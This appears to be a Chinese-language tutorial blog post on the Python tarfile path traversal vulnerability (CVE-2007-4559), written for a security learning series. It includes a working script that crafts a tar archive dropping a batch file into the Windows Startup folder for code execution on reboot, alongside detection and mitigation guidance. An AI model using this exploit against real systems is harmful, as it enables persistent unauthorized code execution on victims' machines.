iT邦幫忙

2022 iThome 鐵人賽

DAY 17
1
影片教學

從建立環境、驗證漏洞、感受漏洞來學習資安系列 第 19

Day17 - 我最喜歡做的事之一,就是對認為 Python 供應鏈很安全的傢伙說 "NO" (作業6)

  • 分享至 

  • xImage
  •  

我岸邊露伴最喜歡的事情之一就是對自以為很強的傢伙說「NO」 - JOJO的奇妙冒險 /images/emoticon/emoticon15.gif

Yes
勘誤 : 13:09 的設定方法應該是透過 "本機群組原則編輯器(gpedit.msc)" 而非註冊機碼

  • 第17天要針對一個亂入的 Python 任意檔案寫入漏洞,這個漏洞存在15年而且當年還被誤以為只是個目錄走訪的弱點,但後來才發現其實可以觸發 RCE。那就先看看它的基本資訊吧。

  • 漏洞相關資訊

    • 漏洞編號 : CVE-2007-4559
    • CVSS 3.0 分數 : 6.8 MEDIUM
    • 漏洞類型 : 任意檔案寫入進而導致 RCE
    • 使用版本資訊
      • Window10
      • Python3: 3.10.4
    • 漏洞先備知識 :
      • Python 程式語言基本概念
    • 漏洞收穫技能 :
      • 任意檔案寫入概念
      • Python Tarfile 模組使用
  • 在現今軟體的開發中很難不靠內建函式庫或是第三方函式庫來達成目標,但這些函式庫就真的安全嗎? 這個漏洞就讓我們見識到即便是使用內建的模組,仍然會面臨到不小的資安風險。/images/emoticon/emoticon16.gif

  • Tarfile 是 Python 中的預設模組,該模組會將 Tar 檔案的相關內容儲存在 TarInfo 結構中。但是該模組在實作解壓縮功能時候並未對外部的傳入資料進行判斷,導致拼接路徑的過程中z發生路徑走訪的問題。參考 Tarfile: Exploiting the World With a 15-Year-Old Vulnerability 內的程式碼片段說明如下 :
    https://ithelp.ithome.com.tw/upload/images/20221002/20148308Tas8V8hLju.jpg

  • 在檔案系統中, .. 代表上一層目錄,而 \ / 代表不同作業系統分隔資料夾的符號,因此當 tar 壓縮檔內的檔案名稱具有 ../ 之類的符號就有機會達成目錄走訪的效果。但是在搭配上解壓縮檔案的功能,就會轉變成任意檔案寫入的效果。也因此當有辦法將一個 BAT 檔案寫到 Windows 的 C:\Users\使用者帳號\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 底下,則重開機後就會觸發 RCE,是不是很酷呢?

  • 但這個帶有 ../ 的 tar 檔案要怎麼產生呢? 則可以參考同一篇文的範例內容如下 :
    https://ithelp.ithome.com.tw/upload/images/20221002/20148308YiQIxdznpn.jpg

  • 透過 add 函式搭配 filter 函式的使用,就可以針對加入 tar 中的檔案進行重新命名的動作,也就可以趁機加入 ../ 的字元在裡面。至於做好的檔案是不能夠用 tar xvf 指令做解壓縮的,因為會出現發現 ../ 的字元導致錯誤。必須使用 python3 的模組對其解壓縮,就可以觸發這個漏洞。
    https://ithelp.ithome.com.tw/upload/images/20221002/20148308JJsIqmULaf.jpg

  • 大概了解這個漏洞的原理後,就要開始用 Windows 的環境來測試 RCE 的效果了,這邊也順便將之後會用的 Windows 環境建立起來好了。

步驟如下 :

  1. https://www.microsoft.com/zh-tw/software-download/windows10 # 到官網下載 Window ISO 檔案程式
  2. 選擇將作業系統下載成 ISO 檔案
  3. 透過 VMWare 進行安裝,並將網路設定為 Host-Only
  4. 下一步 -> 下一步 -> 下一步安裝到結束
  5. 關閉 Window Update (為了之後的 Follina、Dogwalk 弱點)
  6. 將網路設定為 NAT
  7. 下載趁手的軟體,像是 chrome、python3、visual code、7zip
  8. 編寫 bad.bat,可以寫入任何你想做壞壞的事情,比方說彈出計算機
  9. 編寫壓縮程式,這邊的 ..\\ 很多是因為沒辦法預設使用者執行檔案的位置,所以故意放很多個跳到該槽的跟目錄,在跳到使用者本身的啟動資料夾
import tarfile

def change_name(tarinfo) :
    tarinfo.name = "..\\..\\..\\..\\..\\..\\..\\..\\Users\\aeifkz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + tarinfo.name
    return tarinfo

with tarfile.open("test.tar","w:xz") as tar :
    tar.add("bad.bat",filter=change_name)
  1. 編寫解壓縮程式
import tarfile
with tarfile.open("test.tar","r") as tar :
    tar.extractall()
  1. 重新開機後自動啟動後門程式
  • 那該在這個漏洞修復前使用者該如何自保呢? 這個資安公司有釋出檢測程式可供我們找出潛在出現漏洞的部分。並可針對潛在出現漏洞的部分進行修正 : /images/emoticon/emoticon37.gif

使用方式如下:

  1. https://github.com/advanced-threat-research/Creosote #下載專案
  2. python creosote.py "directory to scan"
  3. 針對有潛在漏洞的部分進行調整,參考 tarfile - Examples
import os
import tarfile
def py_files(members):
    for tarinfo in members:
        # 這邊可以客製化要解壓縮的檔案
        if os.path.splitext(tarinfo.name)[1] == ".py":
            yield tarinfo

tar = tarfile.open("sample.tar.gz")
tar.extractall(members=py_files(tar))
tar.close()
  • 從這個漏洞讓我們學到即便是官方或是第三方函式庫也是可能出現安全的問題,這個就是最近很常在討論的供應鏈攻擊,也就是說可能開發者的程式沒有問題,但是使用的函式庫的漏洞導致出現資安問題。那面對這樣的問題,在2022/9/22 的資安大會中就有針對這個議題開了一個供應鏈資安論壇,其中有提到一個 軟體物料清單 (SBOM,Software Bill of Materials) 就是針對構成軟體的元件、關聯表、相依性整理出來,一旦發現函式庫有問題的情況下,可以透過 SBOM 查找出需要修復的函式庫。相關資料也可以參考 2021 iThome 鐵人賽 Day 29 - 軟體物料清單

回家作業 : /images/emoticon/emoticon33.gif

  • 官網在 tarfile extractall 的函式有說針對不信任的tar檔案需要做事前的檢查,請試著調整解壓縮的 Python 程式避免任意檔案寫入的問題。

上一篇
Day16 - DirtyPipe - 如果有一個分頁,你可以提權,你會不會想要用?
下一篇
Day18 - 不要只看外表,容器逃逸,是由內而外逃脫出來的。(作業6解答)
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言